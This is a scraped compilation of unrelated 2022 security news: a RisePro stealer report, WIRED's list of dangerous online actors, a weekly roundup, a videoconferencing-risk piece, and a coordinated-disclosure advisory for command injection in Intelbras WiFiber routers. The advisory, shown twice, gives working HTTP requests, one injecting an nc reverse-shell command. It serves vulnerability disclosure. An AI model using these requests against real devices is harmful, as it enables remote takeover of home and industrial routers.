The pay-per-install (PPI) malware downloader service known as PrivateLoader is being used to distribute a previously documented information-stealing malware dubbed RisePro.
Flashpoint spotted the newly identified stealer on December 13, 2022, after it discovered "several sets of logs" exfiltrated using the malware on an illicit cybercrime marketplace called Russian Market.
A C++-based malware,

Cyber Crime / Data Security

The pay-per-install (PPI) malware downloader service known as **PrivateLoader** is being used to distribute a previously documented information-stealing malware dubbed **RisePro**.

Flashpoint spotted the newly identified stealer on December 13, 2022, after it discovered "several sets of logs" exfiltrated using the malware on an illicit cybercrime marketplace called Russian Market.

A C++-based malware, RisePro is said to share similarities with another info-stealing malware referred to as Vidar stealer, itself a fork of a stealer codenamed Arkei that emerged in 2018.

"The appearance of the stealer as a payload for a pay-per-install service may indicate a threat actor's confidence in the stealer's abilities," the threat intelligence company noted in a write-up last week.

Cybersecurity firm SEKOIA, which released its own analysis of **RisePro**, further identified partial source code overlaps with PrivateLoader. This encompasses the string scrambling mechanism, HTTP method and port setup, and the HTTP message obfuscation method.

PrivateLoader, as the name indicates, is a download service that enables its subscribers to deliver malicious payloads to target hosts.

It has been used in the past to deliver Vidar Stealer, RedLine Stealer, Amadey, DanaBot, and NetDooka, among others, while masquerading as pirated software hosted on decoy sites or compromised WordPress portals that appear prominently on search results.

RisePro is no different from other stealers in that it's capable of stealing a wide range of data from as many as 36 web browsers, including cookies, passwords, credit cards, crypto wallets, as well as gathering files of interest and loading more payloads.

It's offered for sale on Telegram, with the malware's developer also making available a Telegram channel that enables criminal actors to interact with infected systems by providing a bot ID created by the stealer and sent to a remote server post a successful breach.

Also part of the malware's infrastructure is an administration panel hosted at a domain named my-rise\[.\]cc that allows access to stolen data logs, but only after signing into an account with a valid set of credentials.

It's currently not clear if RisePro is authored by the same set of threat actors behind PrivateLoader, and if it's exclusively bundled alongside the PPI service.

"PrivateLoader is still active and comes with a set of new capabilities," SEKOIA said. "Similarities between the stealer and PrivateLoader cannot be ignored and provides additional insight into the threat actor expansion."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

PrivateLoader PPI Service Found Distributing Info-Stealing RisePro Malware

From SBF to the GRU, these were the most disruptive forces of online chaos this year.

Russian soldiers poured into Ukraine, accompanied by a wave of cyberattacks across the country. A major cryptocurrency exchange imploded and declared bankruptcy, vaporizing billions of dollars from that digital economy. The once-biggest dark-web drug market—after being demolished by law enforcement—clawed back to the top of the online underworld after doggedly resurrecting itself.

It's not 2014, though you could be forgiven for being confused. No, all these episodes of global chaos occurred in 2022, each one a rerun of previous events, but now with the threat they posed vastly multiplied in scale.

This year, some of the phantoms of the Trump era and the Covid-19 pandemic finally seemed to recede—only to make room for new threats and the return of ghosts of years past. The same dictators—Vladimir Putin, Xi Jinping, Kim Jong Un—who have long threatened the global order, their geographic neighbors, and their countries' own citizens. Fresher digital threats like India's slide into online repression, and brazen cybercriminals displaying more ruthlessness than ever. And then there were some vestiges of the Trump era that seemed to have hung on, such as one particularly loud and quixotic billionaire with a large, cultlike following, seemingly doing his best to singlehandedly corrupt social media.

Every year, WIRED assembles a list of the most dangerous people on the internet. For the first time since 2015, Donald Trump doesn't top this list. But there's no shortage of new sources of instability and disruption online. Here are our picks for 2022.

Sam Bankman-Fried

For its entire existence, the cryptocurrency world has been plagued with money laundering, theft, and scams, from Bitcoin-powered dark-web drug markets to billions of dollars stolen from crypto companies by rogue hackers. But one of the most dangerous players in the crypto economy, it seems, was hiding in plain sight. In the collapse of cryptocurrency exchange FTX, a poster boy for cryptocurrency’s growing legitimacy, Sam Bankman-Fried, now stands accused of more than $8 billion in fraud. The rippling fallout for the cryptocurrency economy could be far larger, and the tangled dealings and mismanagement of user funds in FTX's meltdown have yet to be fully unraveled—even the company's new CEO John Ray, who also handled the bankruptcy of Enron, says he's never seen a bigger mess. Under Bankman-Fried's hands-on leadership, FTX invested vast sums of users' cryptocurrency in his own trading platform Alameda Research, which has also gone bankrupt. Aside from those enormous losses, Bankman-Fried represents a particularly troubling figure for the ills of the crypto economy: Unlike so many others in the crypto world, he had appeared to actually _welcome_ tighter government controls of the industry. Now, like a hybrid of Elizabeth Holmes and Lehman Brothers, he's come to represent the face of regulatory capture.

Elon Musk

The antics of Elon Musk, as a Willy Wonka figure with his mercuriality dialed up to 11, seemed harmless enough—or possibly even a net good for human progress—when he was focused on next-generation rockets and electric cars. But with his acquisition of Twitter, the dark side of Musk was put on display, and the fickle power of the (sometimes) world's richest man suddenly threatened a central institution of the internet. Musk's immediate, summary layoffs of thousands of Twitter's staffers put at risk key functions of a service that serves as a central artery of digital conversation. Sure, he justified lifting Twitter's ban on neo-Nazis like Andrew Anglin as well as former president Donald Trump (after the latter was removed from Twitter after using it to incite the January 6 riots and invasion of the US Capitol building) with free speech arguments. But Twitter's new emperor has also decimated its staff of content moderators, leading to situations like a single staffer being left to police child abuse content on Twitter for all of Japan and the Asia-Pacific region. Under Musk's watch, Twitter has also banned left-wing accounts he described as "antifa," contradicting his stance on free speech. Just days after the acquisition, Musk briefly tweeted—then deleted—disinformation that the man who attacked US House speaker Nancy Pelosi’s husband in October was his gay lover. Later, he seemed to call for the prosecution of the White House’s chief medical advisor Anthony Fauci for his handling of the Covid-19 pandemic, without explanation. In doing so, he offered a glimpse of the conspiracy-minded politics and trolling that truly drive his actions. Twitter hasn't collapsed under Musk, as some of its doomsayers predicted. But it may be morphing into the worst version of itself.

Xi Jinping

Xi Jinping has presided over some of China's worst human rights abuses, including its mass internment of Uyghur Muslims in Xinjiang and the crackdown on protestors in Hong Kong. Each of those waves of repression has come with its own accompanying tightening of restrictions online, as censors scoured social media for any reference to protests and Han Chinese police in Xinjiang even demanded that Uyghurs download an app that scans their phones for banned content. This year, the protests against China's draconian zero-Covid lockdowns have triggered a new online crackdown, one in which even "liking" a post about protests is deemed illegal and signs of misbehavior are tracked in a regulated "credit system" that can lead to users being summarily banned from online platforms. Xi has already established himself as the most powerful figure in China's government in decades, taking an unprecedented third term as head of the Chinese Communist Party. He's made clear that authoritarian power will extend deep into the digital lives of the world's biggest population of internet users.

Narendra Modi

Under Modi and his party, the BJP, India has become increasingly China-like in its repression of protests both physical and digital. In just the past few years, the Indian government temporarily shut down the internet in the embattled region of Kashmir, banned a large collection of China-based apps including TikTok, and just weeks ago delegated oversight of content moderation decisions on social media to a three-person group—a move widely seen as the latest step in the government's attempts to tighten its grip on those platforms. In perhaps the most appalling case of digital repression, security researchers this year revealed that hackers who fabricated evidence on the computers of activists in the region near the city of Pune had ties to the very same Pune police who arrested those activists. One of the activists targeted in that frame job died in detention. Eleven other defendants in the case remain in jail. Modi's India has proven that even a so-called democracy offers no guarantees of a remotely free internet.

GRU

Russia's GRU military intelligence agency has, for years, been home to some of the most aggressive and dangerous hackers in the world. The GRU groups known as Sandworm and APT28 have, in just the past seven years, triggered two blackouts in Ukraine, launched the hack-and-leak operation designed to sway the US 2016 election, released the NotPetya malware that spread worldwide and caused at least $10 billion in damage, and tried to destroy the backend of the 2018 Olympics. In 2022, thanks to Russia's unprovoked and brutal war in Ukraine, the GRU's focus zeroed in again on the country that has long been Russia's favorite hacking victim. In 2022, it launched countless cyberattacks designed to destroy data on Ukrainian government and corporate networks, often in tandem with physical attacks carried out by the invasion forces. One GRU malware attack went so far as to disable communications to 5,000 wind turbines across Germany in a case of collateral damage reminiscent of NotPetya. The GRU's Sandworm hackers also attempted a third blackout attack in Ukraine, which—according to Ukraine's government at least—defenders managed to foil this time. A+ for continued wanton, reckless aggression. B- for execution.

DeSnake

When the dark-web market for drugs and hacked data known as AlphaBay was shut down in 2017 and its creator Alexandre Cazes was found dead in a Thai jail cell, it seemed the story of AlphaBay was over. Then, in the summer of last year, fully four years after that massive bust, AlphaBay relaunched under the command of its cofounder and Cazes' top lieutenant, known only as DeSnake. In the year-plus since then, DeSnake has dragged AlphaBay back to the top of the dark web's competing scrum of criminal markets. To his credit, he's set more rules for what can be sold on his black market than Cazes ever did, banning the sale of fentanyl and ransomware tools, for instance. But AlphaBay remains a bustling criminal bazaar for hard drugs and stolen data, and it may be harder to shut down than ever. DeSnake has implemented security upgrades to the site, such as allowing only the harder-to-trace cryptocurrency Monero instead of Bitcoin. And he also claims to be located in the former Soviet Union—potentially putting him far farther beyond the reach of law enforcement than his unlucky predecessor.

Lazarus

In 2022, North Korea continued to distinguish itself as the world's top perpetrator of state-sponsored cybercrime: Its government hackers continued to steal hundreds of millions of dollars worth of loot, largely in the form of cryptocurrency, from targets around the globe. That spree of burglaries actually seems to be escalating. According to the blockchain analysis firm Chainalysis, North Korean thieves took in $840 million in the first five months of 2022 alone, more than the previous two years combined. Some $600 million of that came from just one heist. All of it goes toward funding one of the worst regimes in the world, with hundreds of thousands of political prisoners in concentration camps and a tendency to fire missiles over its neighbors' heads.

Conti

The scourge of ransomware continued to plague the world in 2022, and no group illustrated that threat better than Conti. In the first months of the year, the group hit dozens of corporate and government targets. Most catastrophically, it launched a wave of crippling cyberattacks across Costa Rica, shutting down 27 government bodies and medical services there and leading to a national state of emergency. After Russia's invasion of Ukraine, Conti declared its full support for that war—a decision that led to one of its disgruntled members leaking a vast trove of the group's internal communications online. Conti has subsequently shut down, but likely only in name. Its hackers may have rebranded and splintered, but the chaos that is their business model will no doubt persist.

Lapsus$

The only thing more dangerous than a group of ruthless ransomware hackers is a group of ruthless ransomware hackers who are also teenagers. In December of 2021, Lapsus$ made its entrance onto the hacking scene with a cyberattack on the Brazilian Ministry of Health in the midst of its Covid-19 response. It's since carried out a spree of splashy, often nihilistic breaches of major tech firms including Uber, Okta, Rockstar Games, Nvidia, Microsoft, Samsung, and Vodafone. Last spring, British law enforcement arrested seven people suspected of being members of the group, all ages 16 to 21. Those arrests included Lapsus$'s alleged 16-year-old "mastermind." But inexplicably, those suspects were released without charges, and the group's "hacker joyride" rolls on.

APT41

For years, China's hackers focused on by-the-book espionage. But more recently, one group, known as APT41, has proven itself to be the closest thing China has to North Korean state-sponsored cybercriminals. That group, which the US Department of Justice tied in an indictment to the Ministry of State Security contractor known as Chengdu 404, has for years moonlighted as a for-profit cybercriminal outfit. Just this month, the group was linked to the theft of $20 million in Covid-19 relief funds, an unprecedented robbery of US government money by a Chinese state-sponsored hacking outfit. Meanwhile, APT41 was also responsible for dozens of espionage-focused intrusions across the world this year, according to analysts at PricewaterhouseCoopers, which calls the group the most prolific cyberspying operation in the world. Despite the Justice Department charging seven of the group's members in 2020, they remain at large, and their unique blend of espionage and outright theft continues unabated.

The Most Dangerous People on the Internet in 2022

In Directus before 9.7.0, the default settings of CORS_ORIGIN and CORS_ENABLED are true.

CVE-2022-26969: Cross-Origin Resource Sharing (CORS) - HTTP | MDN

Intelbras WiFiber 120AC inMesh before 1-1-220826 allows command injection by authenticated users, as demonstrated by the /boaform/formPing6 and /boaform/formTracert URIs for ping and traceroute.

**Full Disclosure mailing list archives****Re: CyberDanube Security Research 20221009-0 | Authenticated Command Injection in Intelbras WiFiber 120AC inMesh**

_From_: Thomas Weber <t.weber () cyberdanube com>  
_Date_: Tue, 13 Dec 2022 17:59:41 +0100  

CyberDanube Security Research 20221009-0

\-------------------------------------------------------------------------------

               title| Authenticated Command Injection
             product| Intelbras WiFiber 120AC inMesh
  vulnerable version| 1.1-220216
       fixed version| 1-1-220826
          CVE number| CVE-2022-40005
              impact| High
            homepage| https://www.intelbras.com
               found| 2022-08-01
                  by| T. Weber (Office Vienna)
                    | CyberDanube Security Research
                    | Vienna | St. Pölten
                    |
                    | https://www.cyberdanube.com

\-------------------------------------------------------------------------------

Vendor description

\-------------------------------------------------------------------------------

"We are Intelbras. A company that for 45 years has been offering innovative

solutions in security, networks, communication and energy. Our dream began to come to life there in 1976, in the city of São José, having originated from an

INspiration and a promising idea: to manufacture PABX centrals. During the

80's, we surprised the market with the launch of the first PABX developed with national technology, a product that showed everyone our innovative DNA. The 90s

were marked by the consolidation of the company in the telecommunications

segment and we became leaders in the PABX and telephone terminals segment. The

turn of the millennium represented the search for greater connection and

proximity to people, something that is in total harmony with our philosophy to this day. More consolidated in the market, in 2010 we opened 3 manufacturing

units, located in Santa Rita do Sapucaí/MG, Manaus/AM and São José/SC.

We reached our 45th birthday having reached a historic milestone: we have been a company listed on the B3 since February 2021. Our trajectory so far has been INnovative, INtelligent and INSpiring. We saw innovation, which is part of our

DNA, increasingly present in our daily lives. And it was only possible to

write a story so full of achievements because employees, partners and customers

were close and believed in us."

Source: https://www.intelbras.com/en/institutional/who-we-are

Vulnerable versions

\-------------------------------------------------------------------------------

WiFiber 120AC inMesh / 1.1-220216


Vulnerability overview

\-------------------------------------------------------------------------------

1) Authenticated Command Injection (CVE-2022-40005)

The web server of the device is prone to an authenticated command injection. It allows an attacker to gain full access to the underlying operating system of the device with all implications. If such a device is acting as key device in an industrial network, more extensive damage in the corresponding network can

be done by an attacker.


Proof of Concept

\-------------------------------------------------------------------------------

1) Authenticated Command Injection (CVE-2022-40005)
The web server is prone to an authenticated command injection via POST
parameters. The following proof-of-concept shows how to inject the command
"ls /" to the system which gets executed in the background:

\===============================================================================

POST /boaform/formPing6 HTTP/1.1
Host: 192.168.3.147

User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8

Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
Origin: http://192.168.3.147
Connection: close
Referer: http://192.168.3.147/ping6.asp
Upgrade-Insecure-Requests: 1

pingAddr=%3Bls+%2F%3B&wanif=65535&go=+Ir&submit-url=%2Fping6.asp&postSecurityFlag=39908 \===============================================================================

The following commands can be used to open a reverse shell:

"rm -f /tmp/f"
"mkfifo /tmp/f"
"cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.3.138 8889 >/tmp/f"

Those commands were sent via a crafted POST request:

\===============================================================================

POST /boaform/formTracert HTTP/1.1
Host: 192.168.3.147

User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8

Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 255
Origin: http://192.168.3.147
Connection: close
Referer: http://192.168.3.147/tracert.asp
Upgrade-Insecure-Requests: 1

proto=0&traceAddr=%3Brm+-f+%2Ftmp%2Ff%3Bmkfifo+%2Ftmp%2Ff%3Bcat+%2Ftmp%2Ff%7C%2Fbin%2Fsh+-i+2%3E%261%7Cnc+192.168.3.138+8889+%3E%2Ftmp%2Ff%3B&trys=3&timeout=5&datasize=56&dscp=0&maxhop=30&wanif=65535&go=+Ir&submit-url=%2Ftracert.asp&postSecurityFlag=29290 \===============================================================================

The vulnerability was manually verified on an emulated device by using the
MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).


Solution

\-------------------------------------------------------------------------------

Update to firmware version 1-1-220826.

https://backend.intelbras.com/sites/default/files/2022-08/ONT\_Wifiber\_120\_AC\_Vers%C3%A3o\_1-1-220826.zip

Workaround

\-------------------------------------------------------------------------------

None


Recommendation

\-------------------------------------------------------------------------------

CyberDanube recommends Intelbras customers to upgrade the firmware to the
latest version available.


Contact Timeline

\-------------------------------------------------------------------------------

2022-08-02: Contacting Intelbras via suporte () intelbras com br.
2022-08-03: Request from Intelbras to send the advisory to
csirt () intelbras com br; Sent the advisory to this address.
2022-08-30: Asked for status update; Vendor answered that the new firmware

            version has been released the day before. Set the disclosure date

            to 2022-10-03 (60 days policy).
2022-10-03: Shifted disclosure date to 2022-10-09 due to sick colleagues.
2022-10-09: Coordinated disclosure of advisory.


Web: https://www.cyberdanube.com
Twitter: https://twitter.com/cyberdanube
Mail: research at cyberdanube dot com

EOF T. Weber / @2022

On 09.10.22 17:21, Thomas Weber wrote:

> CyberDanube Security Research 20221009-0
> 
> \-------------------------------------------------------------------------------
> 
>                title| Authenticated Command Injection
>              product| Intelbras WiFiber 120AC inMesh
>   vulnerable version| 1.1-220216
>        fixed version| 1-1-220826
>           CVE number|
>               impact| High
>             homepage| https://www.intelbras.com
>                found| 2022-08-01
>                   by| T. Weber (Office Vienna)
>                     | CyberDanube Security Research
>                     | Vienna | St. Pölten
>                     |
>                     | https://www.cyberdanube.com
> 
> \-------------------------------------------------------------------------------
> 
> Vendor description
> 
> \------------------------------------------------------------------------------- "We are Intelbras. A company that for 45 years has been offering innovative solutions in security, networks, communication and energy. Our dream began to come to life there in 1976, in the city of São José, having originated from an INspiration and a promising idea: to manufacture PABX centrals. During the 80's, we surprised the market with the launch of the first PABX developed with national technology, a product that showed everyone our innovative DNA. The 90s
> 
> were marked by the consolidation of the company in the telecommunications
> 
> segment and we became leaders in the PABX and telephone terminals segment. The
> 
> turn of the millennium represented the search for greater connection and
> 
> proximity to people, something that is in total harmony with our philosophy to this day. More consolidated in the market, in 2010 we opened 3 manufacturing
> 
> units, located in Santa Rita do Sapucaí/MG, Manaus/AM and São José/SC.
> 
> We reached our 45th birthday having reached a historic milestone: we have been a company listed on the B3 since February 2021. Our trajectory so far has been INnovative, INtelligent and INSpiring. We saw innovation, which is part of our
> 
> DNA, increasingly present in our daily lives. And it was only possible to
> 
> write a story so full of achievements because employees, partners and customers
> 
> were close and believed in us."
> 
> Source: https://www.intelbras.com/en/institutional/who-we-are
> 
> Vulnerable versions
> 
> \-------------------------------------------------------------------------------
> 
> WiFiber 120AC inMesh / 1.1-220216
> 
> 
> Vulnerability overview
> 
> \-------------------------------------------------------------------------------
> 
> 1) Authenticated Command Injection
> 
> The web server of the device is prone to an authenticated command injection. It allows an attacker to gain full access to the underlying operating system of the device with all implications. If such a device is acting as key device in an industrial network, more extensive damage in the corresponding network can
> 
> be done by an attacker.
> 
> 
> Proof of Concept
> 
> \-------------------------------------------------------------------------------
> 
> 1) Authenticated Command Injection
> The web server is prone to an authenticated command injection via POST
> 
> parameters. The following proof-of-concept shows how to inject the command
> 
> "ls /" to the system which gets executed in the background:
> 
> \===============================================================================
> 
> POST /boaform/formPing6 HTTP/1.1
> Host: 192.168.3.147
> 
> User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8
> 
> Accept-Language: de,en-US;q=0.7,en;q=0.3
> Accept-Encoding: gzip, deflate
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 87
> Origin: http://192.168.3.147
> Connection: close
> Referer: http://192.168.3.147/ping6.asp
> Upgrade-Insecure-Requests: 1
> 
> pingAddr=%3Bls+%2F%3B&wanif=65535&go=+Ir&submit-url=%2Fping6.asp&postSecurityFlag=39908 \===============================================================================
> 
> The following commands can be used to open a reverse shell:
> 
> "rm -f /tmp/f"
> "mkfifo /tmp/f"
> "cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.3.138 8889 >/tmp/f"
> 
> Those commands were sent via a crafted POST request:
> 
> \===============================================================================
> 
> POST /boaform/formTracert HTTP/1.1
> Host: 192.168.3.147
> 
> User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8
> 
> Accept-Language: de,en-US;q=0.7,en;q=0.3
> Accept-Encoding: gzip, deflate
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 255
> Origin: http://192.168.3.147
> Connection: close
> Referer: http://192.168.3.147/tracert.asp
> Upgrade-Insecure-Requests: 1
> 
> proto=0&traceAddr=%3Brm+-f+%2Ftmp%2Ff%3Bmkfifo+%2Ftmp%2Ff%3Bcat+%2Ftmp%2Ff%7C%2Fbin%2Fsh+-i+2%3E%261%7Cnc+192.168.3.138+8889+%3E%2Ftmp%2Ff%3B&trys=3&timeout=5&datasize=56&dscp=0&maxhop=30&wanif=65535&go=+Ir&submit-url=%2Ftracert.asp&postSecurityFlag=29290 \===============================================================================
> 
> The vulnerability was manually verified on an emulated device by using the
> 
> MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).
> 
> 
> Solution
> 
> \-------------------------------------------------------------------------------
> 
> Update to firmware version 1-1-220826.
> 
> https://backend.intelbras.com/sites/default/files/2022-08/ONT\_Wifiber\_120\_AC\_Vers%C3%A3o\_1-1-220826.zip
> 
> Workaround
> 
> \-------------------------------------------------------------------------------
> 
> None
> 
> 
> Recommendation
> 
> \-------------------------------------------------------------------------------
> 
> CyberDanube recommends Intelbras customers to upgrade the firmware to the
> latest version available.
> 
> 
> Contact Timeline
> 
> \-------------------------------------------------------------------------------
> 
> 2022-08-02: Contacting Intelbras via suporte () intelbras com br.
> 2022-08-03: Request from Intelbras to send the advisory to
> csirt () intelbras com br; Sent the advisory to this address.
> 
> 2022-08-30: Asked for status update; Vendor answered that the new firmware             version has been released the day before. Set the disclosure date
> 
>             to 2022-10-03 (60 days policy).
> 2022-10-03: Shifted disclosure date to 2022-10-09 due to sick colleagues.
> 2022-10-09: Coordinated disclosure of advisory.
> 
> 
> Web: https://www.cyberdanube.com
> Twitter: https://twitter.com/cyberdanube
> Mail: research at cyberdanube dot com
> 
> EOF T. Weber / @2022

**Attachment: smime.p7s**  
_Description:_ S/MIME Cryptographic Signature

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
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**Current thread:**

*   **Re: CyberDanube Security Research 20221009-0 | Authenticated Command Injection in Intelbras WiFiber 120AC inMesh** _Thomas Weber (Dec 13)_

CVE-2022-40005: Full Disclosure: Re: CyberDanube Security Research 20221009-0

Plus: An offensive US hacking operation, swatters hacking Ring cameras, a Netflix password-sharing crackdown, and more.

We at WIRED are winding down for the year and gearing up for what is sure to be an eventful 2023. But 2022 isn’t going down without a fight. 

This week, following a new surge in mayhem at Twitter, we dove into exactly why the public needs real-time flight tracking, even if Elon Musk claims it’s the equivalent of doxing. The crucial transparency this publicly available data provides far outweighs the limited privacy value that censoring would give to the world’s rich and powerful. Unfortunately, Musk’s threats of legal action against the developer of the @ElonJet tracker are having broader chilling effects. 

Meanwhile, Iran’s internet blackouts—a response to widespread civil rights protests—are sabotaging the country’s economy, according to a new assessment from the US Department of State. Due to heavy sanctions on Iranian entities, the exact economic impact of Tehran’s internet blackouts is difficult to calculate. But experts agree it’s not good. 

You may have encountered the Flipper Zero in a recent viral TikTok video—but don’t believe everything you see. WIRED’s Dhruv Mehrotra got his hands on the palm-size device, which packs an array of antennas that allow you to copy and broadcast signals from all types of devices, like RFID chips, NFC cards, and more. We found that while the Flipper Zero can’t, say, make an ATM spill out money, it allows you to do plenty of other things that could get you into trouble. But mostly, it allows you to see the radio-wave-filled world around you like never before.

But that’s not all. Each week, we round up the security stories we didn’t cover in-depth ourselves. Click on the headlines to read the full stories. And stay safe out there. 

Between long hours, medallion costs, and the rise of Uber and Lyft, the life of a New York City cab driver is hard enough. Now it seems that Russian hackers—and a couple of their enterprising partners in Queens—were trying to get their own cut of those drivers’ fares.

According to prosecutors, two Queens men, Daniel Abayev and Peter Leyman, worked with Russian hackers to gain access to the taxi dispatch system for New York’s JFK airport. They then allegedly created a group chat where drivers could secretly pay $10 to skip the sometimes hours-long line to be assigned a pickup—about a fifth of the $52 flat fee passengers pay for rides from the airport to elsewhere in NYC. The indictment against the two men doesn’t name the Russians or detail exactly how they gained access to JFK’s dispatch system. But it notes that since 2019, Abayev and Leyman allegedly schemed to get access to the system by multiple methods, including bribing someone to insert a USB drive with malware into one of the dispatch operators’ computers, gaining unauthorized access to their systems via Wi-Fi, and stealing one of their tablet computers. “I know that the Pentagon is being hacked,” Abayev wrote to his Russian contacts in November 2019, according to the indictment. “So, can’t we hack the taxi industry\[?\]” 

Before the scheme was shut down, prosecutors say it was enabling as many as a thousand fraudulent line-skips a day for drivers, 

It’s hardly a secret that Cyber Command, the more cyberattack-focused sister organization to the NSA, is frequently engaged in “hunting forward,” as Cybercom director Paul Nakasone has described it. That means hacking foreign hackers preemptively to disrupt their operations, often in advance of an event like a US election. So perhaps it’s no surprise, as _The Washington Post_ reports, that Cybercom targeted Russian and Iranian hackers throughout the 2022 midterm elections. It’s not clear exactly how those hackers were disrupted, but one official told the _Post_ that the operations typically go after the basic tools the hackers use to operate, including their computers, internet connections, and malware. In some cases, that foreign malware is discovered by Cybercom abroad and shared with potential targets in the US to make it more easily detected. 

While foreign hacking of US elections has waned since its peak in 2016—when Russia hacked the Democratic National Committee, Clinton campaign, and many other targets—it has by no means disappeared. Cybersecurity firm Mandiant reported this week that the Russian military intelligence agency the GRU appears to have targeted election websites with distributed denial-of-service attacks during the midterm elections, despite Cyber Command’s efforts.

On Monday, federal prosecutors charged two men—one from Wisconsin, the other from North Carolina—for allegedly participating in a swatting scheme that, over a one-week span, targeted the owners of more than a dozen compromised Ring home security door cameras.  According to the indictment, Kya Christian Nelson, 21, and James Thomas Andrew McCarty, 20, used login credentials from leaked Yahoo accounts to access Ring accounts from individuals around the country. The defendants then allegedly phoned in false reports to law enforcement claiming to dispatchers that a violent incident was taking place at the victim’s house, and then they livestreamed the police response to the hoax. In several of the incidents, the two men taunted responding police officers and victims through the microphone of the Ring device, according to the indictment.

Nelson, who went by the alias “ChumLul,” is currently incarcerated in Kentucky in an unrelated case. McCarty, who went by the alias “Aspertaine,” was arrested last week on federal charges filed in the District of Arizona. Nelson and McCarty are both charged with conspiring to intentionally access computers without authorization. Nelson has also been charged with two counts of intentionally accessing a computer without authorization and two counts of aggravated identity theft. If convicted, they could each face up to five years in prison, with Nelson facing an additional seven years for the additional charges.

In March 2017, Netflix tweeted a simple message: “Love is sharing a password.” Now, five years later, that sentiment is coming to the end of its life. According to a _Wall Street Journal_ report this week, the streaming service plans to clamp down on password sharing in early 2023. Netflix has been testing ways to stop households in Latin America from sharing passwords throughout 2022, and the report suggests it is ready to expand the measures. Netflix says more than 100 million viewers watch its TV shows and movies using other people’s passwords, and it wants to convert those views into cash. “Make no mistake, I don’t think consumers are going to love it right out of the gate,” the _Journal_ reports Netflix co-CEO Ted Sarandos telling investors earlier this year. Elsewhere, the UK government’s Intellectual Property Office said it believes sharing passwords for online streaming services could breach copyright laws. It is unlikely anyone would ever be prosecuted, though.

The Roomba J7 home robot uses “PrecisionVision Navigation” to avoid objects in your home—such as piles of clothes on the floor or accidental piles of dog crap. The robot is partly able to do this using a built-in camera and computer vision. However, as _MIT Technology Review_ reported this week, gig economy workers in Venezuela posted photos from the robots online—including one image of a woman on the toilet. The photos and videos were captured by a development version of the J7 robot in 2020 and shared with a startup that contracts workers to label the images, helping to train computer vision systems. Those using the development machines had agreed for their data to be shared. Roomba maker iRobot, which is being purchased by Amazon, said it is ending its contract with the startup that leaked the images and is investigating what happened. However, the incident highlights some of the potential privacy risks with the vast data sets that are used to train artificial intelligence applications.

All Kelly Conlon wanted to do was watch the Rockettes with her daughter’s Girl Scout troop. But thanks to a face recognition system run by Madison Square Garden Entertainment, Conlon was summarily kicked out of Radio City Music Hall because she was unknowingly banned from the venue. The issue, according to MSG Entertainment, is that Conlon is an attorney at a law firm that’s currently engaged in litigation against the company. (Conlon said she is not personally involved in that litigation.) “They knew my name before I told them. They knew the firm I was associated with before I told them. And they told me I was not allowed to be there,” Conlon told NBC New York. MSG Entertainment, meanwhile, defended the attorney's expulsion as necessary to avoid an “inherently adverse environment.” The episode adds to concerns over the use of face-recognition tech, which remains so underregulated that a corporation can use it to punish its enemies. Happy holidays!

Russians Hacked JFK Airport Taxi Dispatch in Line-Skipping Scheme

Securing videoconferencing solutions is just one of many IT security challenges small businesses are facing, often with limited financial and human resources.

It's no secret that the acceleration of work-from-home and distributed workforce trends — infamously spurred on by the pandemic — has occurred in tandem with the rise of video communications and collaboration platforms, led by Zoom, Microsoft, and Cisco.

But given that videoconferencing now plays a critical role in how businesses interact with their employees, customers, clients, vendors, and others, these platforms carry significant potential security risks, researchers say.

Organizations use videoconferencing to discuss M&A, legal, military, healthcare, intellectual property and other topics, and even corporate strategies. A loss of that data could be catastrophic for a company, its employees, its clients, and its customers.

However, a recent Aite-Novarica Group report on videoconferencing security showed that 93% of IT professionals surveyed acknowledged security vulnerabilities and gaping risks in their videoconferencing solutions.

Among the most relevant risks is the lack of controlled access to conversations that could result in disruption, sabotage, compromise, or exposure of sensitive information, while use of nonsecure, outdated, or unpatched videoconferencing applications can expose security flaws.

"The risks include the potential for interruptions, unauthorized access, and perhaps most concerning, the opportunity for a bad actor to acquire sensitive information," says Craig Lurey, CTO and co-founder at Keeper Security.

**Threats Targeting Video Communications Platforms Multiply**

The use of videoconferencing software by remote workers makes it an easy target for various types of attacks in the wild. For instance, "Zoom-bombing" and other attacks came to the fore in the wake of the first work-from-home wave during the pandemic.

Other threats include DDoS attacks, according to the FBI's Internet Crime Report, and malware. In May, for instance, threat hunters discovered a vulnerability chain in Zoom's chat functionality that could be exploited to allow zero-click remote code execution (RCE).

Security firm Vectra also recently discovered a vulnerability in Microsoft Teams, which found that the platform stores authentication tokens unencrypted, allowing any user to access the secrets file without the need for special permissions. The weakness gives attackers the ability to move through a company’s network much more easily.

But while zero-day exploits and other high-profile attacks get a lot of attention, Mike Parkin, senior technical engineer at Vulcan Cyber points out that many, if not most, attacks still target the users.

"That usually means phishing emails or other social engineering attacks that lead to compromise, or business email compromise attacks that can lead to direct losses through fraud," he says.

**SMBs at Particular Risk From Videoconferencing Threats**

The risk is especially piquant for small and medium-sized businesses (SMBs), researchers say. This segment relied heavily on video collaboration to cut travel costs even before the pandemic, and now represents a class of superusers.
